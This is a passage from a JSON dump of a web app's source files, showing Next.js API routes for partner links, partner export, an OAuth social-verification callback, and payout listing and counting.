tenantId ${tenantId} not found in program.`,\n        });\n      }\n\n      partnerId = programEnrollment.partnerId;\n    }\n\n    await deactivatePartner({\n      workspaceId: workspace.id,\n      programId,\n      partnerId: partnerId!, // coerce here because we're already throwing if no partnerId or tenantId\n      user: session.user,\n    });\n\n    return NextResponse.json({\n      partnerId,\n    });\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partners/export/route.ts",
    "content": "import { convertToCSV } from \"@/lib/analytics/utils/convert-to-csv\";\nimport { formatPartnersForExport } from \"@/lib/api/partners/format-partners-for-export\";\nimport { getPartners } from \"@/lib/api/partners/get-partners\";\nimport { getPartnersCount } from \"@/lib/api/partners/get-partners-count\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport { partnersExportQuerySchema } from \"@/lib/zod/schemas/partners\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\nconst MAX_PARTNERS_TO_EXPORT = 1000;\n\n// GET /api/partners/export – export partners to CSV\nexport const GET = withWorkspace(\n  async ({ searchParams, workspace, session }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const parsedParams = partnersExportQuerySchema.parse(searchParams);\n    const { columns, ...filters } = parsedParams;\n\n    const partnersCount = await getPartnersCount<number>({\n      ...filters,\n      groupBy: undefined,\n      programId,\n    });\n\n    // Process the export in the background if the number of partners is greater than MAX_PARTNERS_TO_EXPORT\n    if (partnersCount > MAX_PARTNERS_TO_EXPORT) {\n      await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/export/partners`,\n        body: {\n          ...parsedParams,\n          columns: columns.join(\",\"),\n          programId,\n          userId: session.user.id,\n        },\n      });\n\n      return NextResponse.json({}, { status: 202 });\n    }\n\n    const partners = await getPartners({\n      ...filters,\n      page: 1,\n      pageSize: MAX_PARTNERS_TO_EXPORT,\n      programId,\n    });\n\n    const formattedPartners = formatPartnersForExport(partners, columns);\n\n    return new Response(convertToCSV(formattedPartners), {\n      headers: {\n        \"Content-Type\": \"text/csv\",\n        \"Content-Disposition\": \"attachment\",\n      },\n    });\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business extra\",\n      \"business max\",\n      \"business plus\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partners/links/route.ts",
    "content": "import { DubApiError, ErrorCodes } from \"@/lib/api/errors\";\nimport { createLink, processLink } from \"@/lib/api/links\";\nimport { validatePartnerLinkUrl } from \"@/lib/api/links/validate-partner-link-url\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramOrThrow } from \"@/lib/api/programs/get-program-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { extractUtmParams } from \"@/lib/api/utm/extract-utm-params\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { throwIfNoPartnerIdOrTenantId } from \"@/lib/partners/throw-if-no-partnerid-tenantid\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport { linkEventSchema } from \"@/lib/zod/schemas/links\";\nimport {\n  createPartnerLinkSchema,\n  retrievePartnerLinksSchema,\n} from \"@/lib/zod/schemas/partners\";\nimport { ProgramPartnerLinkSchema } from \"@/lib/zod/schemas/programs\";\nimport { prisma } from \"@dub/prisma\";\nimport { getUTMParamsFromURL } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/partners/links - get the partner links\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { partnerId, tenantId } =\n      retrievePartnerLinksSchema.parse(searchParams);\n\n    throwIfNoPartnerIdOrTenantId({ partnerId, tenantId });\n\n    const programEnrollment = await prisma.programEnrollment.findUnique({\n      where: partnerId\n        ? {\n            partnerId_programId: {\n              partnerId,\n              programId,\n            },\n          }\n        : {\n            tenantId_programId: {\n              tenantId: tenantId as string,\n              programId,\n            },\n          },\n      select: {\n        links: true,\n      },\n    });\n\n    if (!programEnrollment) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Partner not found.\",\n      });\n    }\n\n    const { links } = programEnrollment;\n\n    return NextResponse.json(z.array(ProgramPartnerLinkSchema).parse(links));\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n\n// POST /api/partners/links - create a link for a partner\nexport const POST = withWorkspace(\n  async ({ workspace, req, session }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { partnerId, tenantId, url, key, linkProps } =\n      createPartnerLinkSchema.parse(await parseRequestBody(req));\n\n    const program = await getProgramOrThrow({\n      workspaceId: workspace.id,\n      programId,\n    });\n\n    if (!program.domain || !program.url) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"You need to set a domain and url for this program before creating a link.\",\n      });\n    }\n\n    throwIfNoPartnerIdOrTenantId({ partnerId, tenantId });\n\n    const partner = await prisma.programEnrollment.findUnique({\n      where: partnerId\n        ? { partnerId_programId: { partnerId, programId } }\n        : { tenantId_programId: { tenantId: tenantId!, programId } },\n      include: {\n        partnerGroup: {\n          include: {\n            partnerGroupDefaultLinks: true,\n            utmTemplate: true,\n          },\n        },\n      },\n    });\n\n    if (!partner) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Partner not found.\",\n      });\n    }\n\n    const partnerGroup = partner.partnerGroup;\n\n    // shouldn't happen but just in case\n    if (!partnerGroup) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"This partner is not part of a partner group.\",\n      });\n    }\n\n    validatePartnerLinkUrl({ group: partnerGroup, url });\n\n    const linkUrl = url || partnerGroup.partnerGroupDefaultLinks[0].url;\n\n    const { link, error, code } = await processLink({\n      payload: {\n        ...linkProps,\n        domain: program.domain,\n        key: key || undefined,\n        url: linkUrl,\n        ...(partnerGroup.utmTemplate\n          ? {\n              ...extractUtmParams(partnerGroup.utmTemplate),\n              ...getUTMParamsFromURL(linkUrl),\n            }\n          : {}),\n        programId: program.id,\n        tenantId: partner.tenantId,\n        partnerId: partner.partnerId,\n        folderId: program.defaultFolderId,\n        trackConversion: true,\n      },\n      workspace,\n      userId: session.user.id,\n      skipProgramChecks: true, // skip this cause we've already validated the program above\n    });\n\n    if (error != null) {\n      throw new DubApiError({\n        code: code as ErrorCodes,\n        message: error,\n      });\n    }\n\n    const partnerLink = await createLink(link);\n\n    waitUntil(\n      sendWorkspaceWebhook({\n        trigger: \"link.created\",\n        workspace,\n        data: linkEventSchema.parse(partnerLink),\n      }),\n    );\n\n    return NextResponse.json(partnerLink, { status: 201 });\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partners/links/upsert/route.ts",
    "content": "import { DubApiError, ErrorCodes } from \"@/lib/api/errors\";\nimport {\n  createLink,\n  processLink,\n  transformLink,\n  updateLink,\n} from \"@/lib/api/links\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { validatePartnerLinkUrl } from \"@/lib/api/links/validate-partner-link-url\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramOrThrow } from \"@/lib/api/programs/get-program-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { extractUtmParams } from \"@/lib/api/utm/extract-utm-params\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { throwIfNoPartnerIdOrTenantId } from \"@/lib/partners/throw-if-no-partnerid-tenantid\";\nimport { NewLinkProps } from \"@/lib/types\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport { linkEventSchema } from \"@/lib/zod/schemas/links\";\nimport { upsertPartnerLinkSchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { deepEqual, getUTMParamsFromURL } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// PUT /api/partners/links/upsert – update or create a partner link\nexport const PUT = withWorkspace(\n  async ({ req, headers, workspace, session }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { partnerId, tenantId, url, key, linkProps } =\n      upsertPartnerLinkSchema.parse(await parseRequestBody(req));\n\n    throwIfNoPartnerIdOrTenantId({ partnerId, tenantId });\n\n    const program = await getProgramOrThrow({\n      workspaceId: workspace.id,\n      programId,\n    });\n\n    if (!program.domain || !program.url) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"You need to set a domain and url for this program before upserting a partner link.\",\n      });\n    }\n\n    const partner = await prisma.programEnrollment.findUnique({\n      where: partnerId\n        ? { partnerId_programId: { partnerId, programId } }\n        : { tenantId_programId: { tenantId: tenantId!, programId } },\n      include: {\n        partnerGroup: {\n          include: {\n            partnerGroupDefaultLinks: true,\n            utmTemplate: true,\n          },\n        },\n      },\n    });\n\n    if (!partner) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Partner not found.\",\n      });\n    }\n\n    const partnerGroup = partner.partnerGroup;\n\n    // shouldn't happen but just in case\n    if (!partnerGroup) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"This partner is not part of a partner group.\",\n      });\n    }\n\n    validatePartnerLinkUrl({\n      group: partnerGroup,\n      url,\n    });\n\n    const link = await prisma.link.findFirst({\n      where: {\n        programId,\n        partnerId,\n        projectId: workspace.id,\n        url,\n      },\n      include: includeTags,\n    });\n\n    if (link) {\n      // proceed with /api/links/[linkId] PATCH logic\n      const updatedLink = {\n        // original link\n        ...link,\n        // coerce types\n        expiresAt:\n          link.expiresAt instanceof Date\n            ? link.expiresAt.toISOString()\n            : link.expiresAt,\n        geo: link.geo as NewLinkProps[\"geo\"],\n        testVariants: link.testVariants as NewLinkProps[\"testVariants\"],\n        testCompletedAt:\n          link.testCompletedAt instanceof Date\n            ? link.testCompletedAt.toISOString()\n            : link.testCompletedAt,\n        testStartedAt:\n          link.testStartedAt instanceof Date\n            ? link.testStartedAt.toISOString()\n            : link.testStartedAt,\n\n        // merge in new props\n        ...linkProps,\n        // set default fields\n        domain: program.domain,\n        ...(key && { key }),\n        url,\n        programId: program.id,\n        tenantId: partner.tenantId,\n        partnerId: partner.partnerId,\n        folderId: program.defaultFolderId,\n        trackConversion: true,\n      };\n\n      // if link and updatedLink are identical, return the link\n      if (deepEqual(link, updatedLink)) {\n        return NextResponse.json(transformLink(link), {\n          headers,\n        });\n      }\n\n      // if domain and key are the same, we don't need to check if the key exists\n      const skipKeyChecks =\n        link.domain === updatedLink.domain &&\n        link.key.toLowerCase() === updatedLink.key?.toLowerCase();\n\n      // if externalId is the same, we don't need to check if it exists\n      const skipExternalIdChecks =\n        link.externalId?.toLowerCase() ===\n        updatedLink.externalId?.toLowerCase();\n\n      const {\n        link: processedLink,\n        error,\n        code,\n      } = await processLink({\n        payload: {\n          ...updatedLink,\n          tags: undefined,\n        },\n        workspace,\n        skipKeyChecks,\n        skipExternalIdChecks,\n        userId: session.user.id,\n      });\n\n      if (error) {\n        throw new DubApiError({\n          code: code as ErrorCodes,\n          message: error,\n        });\n      }\n\n      try {\n        const response = await updateLink({\n          oldLink: {\n            domain: link.domain,\n            key: link.key,\n            image: link.image,\n          },\n          updatedLink: processedLink,\n        });\n\n        waitUntil(\n          sendWorkspaceWebhook({\n            trigger: \"link.updated\",\n            workspace,\n            data: linkEventSchema.parse(response),\n          }),\n        );\n\n        return NextResponse.json(response, {\n          headers,\n        });\n      } catch (error) {\n        throw new DubApiError({\n          code: \"unprocessable_entity\",\n          message: error.message,\n        });\n      }\n    } else {\n      const linkUrl = url || partnerGroup.partnerGroupDefaultLinks[0].url;\n\n      // proceed with /api/partners/links POST logic\n      const { link, error, code } = await processLink({\n        payload: {\n          ...linkProps,\n          domain: program.domain,\n          key: key || undefined,\n          url: linkUrl,\n          ...(partnerGroup.utmTemplate\n            ? {\n                ...extractUtmParams(partnerGroup.utmTemplate),\n                ...getUTMParamsFromURL(linkUrl),\n              }\n            : {}),\n          programId: program.id,\n          tenantId: partner.tenantId,\n          partnerId: partner.partnerId,\n          folderId: program.defaultFolderId,\n          trackConversion: true,\n        },\n        workspace,\n        userId: session.user.id,\n        skipProgramChecks: true, // skip this cause we've already validated the program above\n      });\n\n      if (error != null) {\n        throw new DubApiError({\n          code: code as ErrorCodes,\n          message: error,\n        });\n      }\n\n      const partnerLink = await createLink(link);\n\n      waitUntil(\n        sendWorkspaceWebhook({\n          trigger: \"link.created\",\n          workspace,\n          data: linkEventSchema.parse(partnerLink),\n        }),\n      );\n\n      return NextResponse.json(partnerLink, {\n        headers,\n      });\n    }\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n    requiredPlan: [\"advanced\", \"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partners/platforms/callback/route.ts",
    "content": "import { PARTNER_PLATFORMS_PROVIDERS } from \"@/lib/api/partner-profile/partner-platforms-providers\";\nimport { getSocialProfile } from \"@/lib/api/scrape-creators/get-social-profile\";\nimport { getSession } from \"@/lib/auth/utils\";\nimport { redis } from \"@/lib/upstash/redis\";\nimport { prisma } from \"@dub/prisma\";\nimport { PartnerPlatform, PlatformType } from \"@dub/prisma/client\";\nimport {\n  getSearchParams,\n  PARTNERS_DOMAIN,\n  PARTNERS_DOMAIN_WITH_NGROK,\n} from \"@dub/utils\";\nimport { cookies } from \"next/headers\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst requestSchema = z.object({\n  code: z.string(),\n  state: z.string(),\n});\n\ninterface State {\n  platform: PlatformType;\n  partnerId: string;\n  source: \"onboarding\" | \"settings\";\n}\n\n// GET /api/partners/platforms/callback\nexport async function GET(req: Request) {\n  const { searchParams } = new URL(req.url);\n\n  // Validate the request\n  const parsedSearchParams = requestSchema.safeParse(getSearchParams(req.url));\n\n  if (!parsedSearchParams.success) {\n    console.warn(\"Missing required search params in OAuth callback.\");\n    return NextResponse.redirect(PARTNERS_DOMAIN);\n  }\n\n  const { code, state } = parsedSearchParams.data;\n\n  // Get current user\n  const session = await getSession();\n\n  if (!session?.user?.id) {\n    console.warn(\"Unauthorized: Login required.\");\n    return NextResponse.redirect(PARTNERS_DOMAIN);\n  }\n\n  // Find the state from Redis\n  const stateFromRedis = await redis.get<State>(\n    `partnerSocialVerification:${state}`,\n  );\n\n  if (!stateFromRedis) {\n    console.warn(\"State is invalid or expired.\");\n    return NextResponse.redirect(PARTNERS_DOMAIN);\n  }\n\n  const { platform, partnerId, source } = stateFromRedis;\n\n  if (session.user.defaultPartnerId !== partnerId) {\n    console.warn(\"Unauthorized: User is not the default partner.\");\n    return NextResponse.redirect(PARTNERS_DOMAIN);\n  }\n\n  // Validate platform exists in providers\n  const provider = PARTNER_PLATFORMS_PROVIDERS[platform];\n  if (!provider) {\n    console.error(`Invalid platform: ${platform}`);\n    return NextResponse.redirect(PARTNERS_DOMAIN);\n  }\n\n  // Redirect user based on source\n  const redirectUrl =\n    source === \"onboarding\"\n      ? `${PARTNERS_DOMAIN}/onboarding/platforms`\n      : `${PARTNERS_DOMAIN}/profile`;\n\n  const { tokenUrl, clientId, clientSecret, verify, pkce, clientIdParam } =\n    provider;\n\n  const cookieStore = await cookies();\n  const codeVerifier = pkce\n    ? cookieStore.get(\"online_presence_code_verifier\")?.value\n    : null;\n\n  // Local development redirect since the verifier cookie won't be present on ngrok\n  if (pkce && !codeVerifier && process.env.NODE_ENV === \"development\") {\n    return NextResponse.redirect(\n      `http://partners.localhost:8888/api/partners/platforms/callback?${searchParams.toString()}`,\n    );\n  }\n\n  // Remove the state from Redis\n  await redis.del(`partnerSocialVerification:${state}`);\n\n  // Get access token\n  const urlParams = new URLSearchParams({\n    [clientIdParam ?? \"client_id\"]: clientId!,\n    client_secret: clientSecret!,\n    code,\n    redirect_uri: `${PARTNERS_DOMAIN_WITH_NGROK}/api/partners/platforms/callback`,\n    grant_type: \"authorization_code\",\n    ...(codeVerifier && { code_verifier: codeVerifier }),\n  });\n\n  const response = await fetch(tokenUrl, {\n    headers: {\n      \"Content-Type\": \"application/x-www-form-urlencoded\",\n      Authorization: `Basic ${Buffer.from(`${clientId}:${clientSecret}`).toString(\"base64\")}`,\n    },\n    method: \"POST\",\n    body: urlParams.toString(),\n  });\n\n  const tokenResponse = await response.json();\n\n  if (!response.ok) {\n    console.warn(\"Failed to get access token in OAuth callback\", tokenResponse);\n    return NextResponse.redirect(redirectUrl);\n  }\n\n  if (!tokenResponse.access_token) {\n    console.warn(\"No access token found in OAuth callback\");\n    return NextResponse.redirect(redirectUrl);\n  }\n\n  const partnerPlatform = await prisma.partnerPlatform.findUnique({\n    where: {\n      partnerId_type: {\n        partnerId,\n        type: platform,\n      },\n    },\n  });\n\n  if (!partnerPlatform || !partnerPlatform.identifier) {\n    console.error(\"No partner platform found in OAuth callback\");\n    return NextResponse.redirect(redirectUrl);\n  }\n\n  const { verified, metadata } = await verify({\n    handle: partnerPlatform.identifier,\n    accessToken: tokenResponse.access_token,\n  });\n\n  if (!verified) {\n    console.warn(\"Failed to verify social account in OAuth callback\");\n    return NextResponse.redirect(redirectUrl);\n  }\n\n  let socialStats: Pick<\n    PartnerPlatform,\n    \"subscribers\" | \"posts\" | \"views\" | \"avatarUrl\"\n  > = {\n    subscribers: BigInt(0),\n    posts: BigInt(0),\n    views: BigInt(0),\n    avatarUrl: null,\n  };\n\n  if ([\"tiktok\", \"twitter\"].includes(platform)) {\n    try {\n      const socialProfile = await getSocialProfile({\n        platform,\n        handle: partnerPlatform.identifier,\n      });\n\n      socialStats = {\n        subscribers: socialProfile.subscribers,\n        posts: socialProfile.posts,\n        views: socialProfile.views,\n        avatarUrl: socialProfile.avatarUrl,\n      };\n    } catch (error) {\n      console.error(\n        `Failed to fetch social stats for ${platform} handle @${partnerPlatform.identifier}:`,\n        error,\n      );\n    }\n  }\n\n  await prisma.partnerPlatform.update({\n    where: {\n      partnerId_type: {\n        partnerId,\n        type: platform,\n      },\n    },\n    data: {\n      verifiedAt: new Date(),\n      ...(metadata && { metadata }),\n      subscribers: socialStats.subscribers,\n      posts: socialStats.posts,\n      views: socialStats.views,\n      avatarUrl: socialStats.avatarUrl,\n    },\n  });\n\n  // Delete PKCE code verifier cookie after successful use\n  if (pkce && codeVerifier) {\n    cookieStore.delete(\"online_presence_code_verifier\");\n  }\n\n  return NextResponse.redirect(redirectUrl);\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partners/route.ts",
    "content": "import { createAndEnrollPartner } from \"@/lib/api/partners/create-and-enroll-partner\";\nimport { getPartners } from \"@/lib/api/partners/get-partners\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramOrThrow } from \"@/lib/api/programs/get-program-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { polyfillSocialMediaFields } from \"@/lib/social-utils\";\nimport {\n  createPartnerSchema,\n  EnrolledPartnerSchema,\n  getPartnersQuerySchemaExtended,\n  partnerPlatformSchema,\n} from \"@/lib/zod/schemas/partners\";\nimport { toCentsNumber } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/partners - get all partners for a program\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n    const {\n      sortBy: sortByWithOldFields,\n      includePartnerPlatforms,\n      ...parsedParams\n    } = getPartnersQuerySchemaExtended\n      .extend({\n        // add old fields for backward compatibility\n        sortBy: getPartnersQuerySchemaExtended.shape.sortBy.or(\n          z.enum([\n            \"clicks\",\n            \"leads\",\n            \"conversions\",\n            \"sales\",\n            \"saleAmount\",\n            \"totalSales\",\n          ]),\n        ),\n      })\n      .parse(searchParams);\n\n    // get the final sortBy field (replace old fields with new fields)\n    const sortBy =\n      {\n        clicks: \"totalClicks\",\n        leads: \"totalLeads\",\n        conversions: \"totalConversions\",\n        sales: \"totalSaleAmount\",\n        saleAmount: \"totalSaleAmount\",\n        totalSales: \"totalSaleAmount\",\n      }[sortByWithOldFields] || sortByWithOldFields;\n\n    console.time(\"getPartners\");\n    const partners = await getPartners({\n      ...parsedParams,\n      sortBy,\n      programId,\n    });\n    console.timeEnd(\"getPartners\");\n\n    // polyfill deprecated fields for backward compatibility\n    const baseSchema = EnrolledPartnerSchema.extend({\n      clicks: z.number().default(0),\n      leads: z.number().default(0),\n      conversions: z.number().default(0),\n      sales: z.number().default(0),\n      saleAmount: z.number().default(0),\n    });\n\n    const responseSchema = includePartnerPlatforms\n      ? baseSchema.extend({\n          platforms: z.array(partnerPlatformSchema),\n        })\n      : baseSchema;\n\n    return NextResponse.json(\n      z.array(responseSchema).parse(\n        partners.map((partner) => ({\n          ...partner,\n          clicks: partner.totalClicks,\n          leads: partner.totalLeads,\n          conversions: partner.totalConversions,\n          sales: partner.totalSales,\n          saleAmount: toCentsNumber(partner.totalSaleAmount),\n          ...polyfillSocialMediaFields(partner.platforms),\n        })),\n      ),\n    );\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business extra\",\n      \"business max\",\n      \"business plus\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\n// POST /api/partners - add a partner for a program\nexport const POST = withWorkspace(\n  async ({ workspace, req, session }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { linkProps: link, ...partner } = createPartnerSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    const program = await getProgramOrThrow({\n      workspaceId: workspace.id,\n      programId,\n    });\n\n    const enrolledPartner = await createAndEnrollPartner({\n      workspace,\n      program,\n      partner,\n      link,\n      userId: session.user.id,\n    });\n\n    return NextResponse.json(enrolledPartner, {\n      status: 201,\n    });\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/payouts/[payoutId]/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getEffectivePayoutMode } from \"@/lib/api/payouts/get-effective-payout-mode\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramOrThrow } from \"@/lib/api/programs/get-program-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { PayoutResponseSchema } from \"@/lib/zod/schemas/payouts\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/payouts/[payoutId] - get a single payout by ID\nexport const GET = withWorkspace(async ({ workspace, params }) => {\n  const programId = getDefaultProgramIdOrThrow(workspace);\n\n  const { payoutId } = params;\n\n  const program = await getProgramOrThrow({\n    workspaceId: workspace.id,\n    programId,\n  });\n\n  const payout = await prisma.payout.findUnique({\n    where: {\n      id: payoutId,\n      programId,\n    },\n    include: {\n      programEnrollment: true,\n      partner: true,\n      user: true,\n    },\n  });\n\n  if (!payout) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Payout ${payoutId} not found.`,\n    });\n  }\n\n  const { partner, programEnrollment, ...rest } = payout;\n\n  const mode =\n    rest.mode ??\n    getEffectivePayoutMode({\n      payoutMode: program.payoutMode,\n      payoutsEnabledAt: partner.payoutsEnabledAt,\n    });\n\n  return NextResponse.json(\n    PayoutResponseSchema.parse({\n      ...rest,\n      mode,\n      traceId: rest.stripePayoutTraceId,\n      partner: {\n        ...partner,\n        tenantId: programEnrollment.tenantId,\n      },\n    }),\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/payouts/count/route.ts",
    "content": "import { getPayoutEligibilityFilter } from \"@/lib/api/payouts/payout-eligibility-filter\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramOrThrow } from \"@/lib/api/programs/get-program-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { payoutsCountQuerySchema } from \"@/lib/zod/schemas/payouts\";\nimport { prisma } from \"@dub/prisma\";\nimport { FraudEventStatus, PayoutStatus, Prisma } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/payouts/count\nexport const GET = withWorkspace(async ({ workspace, searchParams }) => {\n  const programId = getDefaultProgramIdOrThrow(workspace);\n\n  const isHoldStatus = searchParams.status === \"hold\";\n  const { status: _status, ...restSearchParams } = searchParams;\n\n  let { status, partnerId, groupBy, eligibility, invoiceId } =\n    payoutsCountQuerySchema.parse(\n      isHoldStatus ? restSearchParams : searchParams,\n    );\n\n  if (isHoldStatus) {\n    status = PayoutStatus.pending;\n  }\n\n  const program = await getProgramOrThrow({\n    workspaceId: workspace.id,\n    programId,\n  });\n\n  const where: Prisma.PayoutWhereInput = {\n    programId,\n    ...(partnerId && { partnerId }),\n    ...(eligibility === \"eligible\" && {\n      ...getPayoutEligibilityFilter({ program, workspace }),\n    }),\n    ...(invoiceId && { invoiceId }),\n    ...(isHoldStatus && {\n      programEnrollment: {\n        fraudEventGroups: {\n          some: {\n            status: FraudEventStatus.pending,\n          },\n        },\n      },\n    }),\n  };\n\n  // Get payout count by status\n  if (groupBy === \"status\") {\n    const payouts = await prisma.payout.groupBy({\n      by: [\"status\"],\n      where,\n      _count: true,\n      _sum: {\n        amount: true,\n      },\n    });\n\n    const counts = payouts.map((p) => ({\n      status: p.status,\n      count: p._count,\n      amount: p._sum.amount,\n    }));\n\n    Object.values(PayoutStatus).forEach((status) => {\n      if (!counts.find((p) => p.status === status)) {\n        counts.push({\n          status,\n          count: 0,\n          amount: 0,\n        });\n      }\n    });\n\n    return NextResponse.json(counts);\n  }\n\n  const count = await prisma.payout.count({\n    where: {\n      ...where,\n      status,\n    },\n  });\n\n  return NextResponse.json(count);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/payouts/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getEffectivePayoutMode } from \"@/lib/api/payouts/get-effective-payout-mode\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramOrThrow } from \"@/lib/api/programs/get-program-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport {\n  PayoutResponseSchema,\n  payoutsQuerySchema,\n} from \"@/lib/zod/schemas/payouts\";\nimport { prisma } from \"@dub/prisma\";\nimport { FraudEventStatus, PayoutStatus } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/payouts - get all payouts for a program\nexport const GET = withWorkspace(async ({ workspace, searchParams }) => {\n  const programId = getDefaultProgramIdOrThrow(workspace);\n\n  const isHoldStatus = searchParams.status === \"hold\";\n  const { status: _status, ...restSearchParams } = searchParams;\n\n  let {\n    status,\n    partnerId,\n    tenantId,\n    invoiceId,\n    sortBy,\n    sortOrder,\n    page = 1,\n    pageSize,\n  } = payoutsQuerySchema.parse(isHoldStatus ? restSearchParams : searchParams);\n\n  if (isHoldStatus) {\n    status = PayoutStatus.pending;\n  }\n\n  if (tenantId && !partnerId) {\n    const programEnrollment = await prisma.programEnrollment.findUnique({\n      where: {\n        tenantId_programId: {\n          tenantId,\n          programId,\n        },\n      },\n      select: {\n        partnerId: true,\n      },\n    });\n\n    if (!programEnrollment) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: `Partner with specified tenantId ${tenantId} not found.`,\n      });\n    }\n\n    partnerId = programEnrollment.partnerId;\n  }\n\n  const program = await getProgramOrThrow({\n    workspaceId: workspace.id,\n    programId,\n  });\n\n  const payouts = await prisma.payout.findMany({\n    where: {\n      programId,\n      ...(status && { status }),\n      ...(partnerId && { partnerId }),\n      ...(invoiceId && { invoiceId }),\n      ...(isHoldStatus && {\n        programEnrollment: {\n          fraudEventGroups: {\n            some: {\n              status: FraudEventStatus.pending,\n            },\n          },\n        },\n      }),\n    },\n    include: {\n      programEnrollment: true,\n      partner: true,\n      user: true,\n    },\n    skip: (page - 1) * pageSize,\n    take: pageSize,\n    orderBy: {\n      [sortBy]: sortOrder,\n    },\n  });\n\n  const transformedPayouts = payouts.map(\n    ({ partner, programEnrollment, ...payout }) => {\n      const mode =\n        payout.mode ??\n        getEffectivePayoutMode({\n          payoutMode: program.payoutMode,\n          payoutsEnabledAt: partner.payoutsEnabledAt,\n        });\n\n      return {\n        ...payout,\n        mode,\n        traceId: payout.stripePayoutTraceId,\n        partner: {\n          ...partner,\n          tenantId: programEnrollment.tenantId,\n        },\n      };\n    },\n  );\n\n  return NextResponse.json(\n    z.array(PayoutResponseSchema).parse(transformedPayouts),\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/paypal/callback/route.ts",
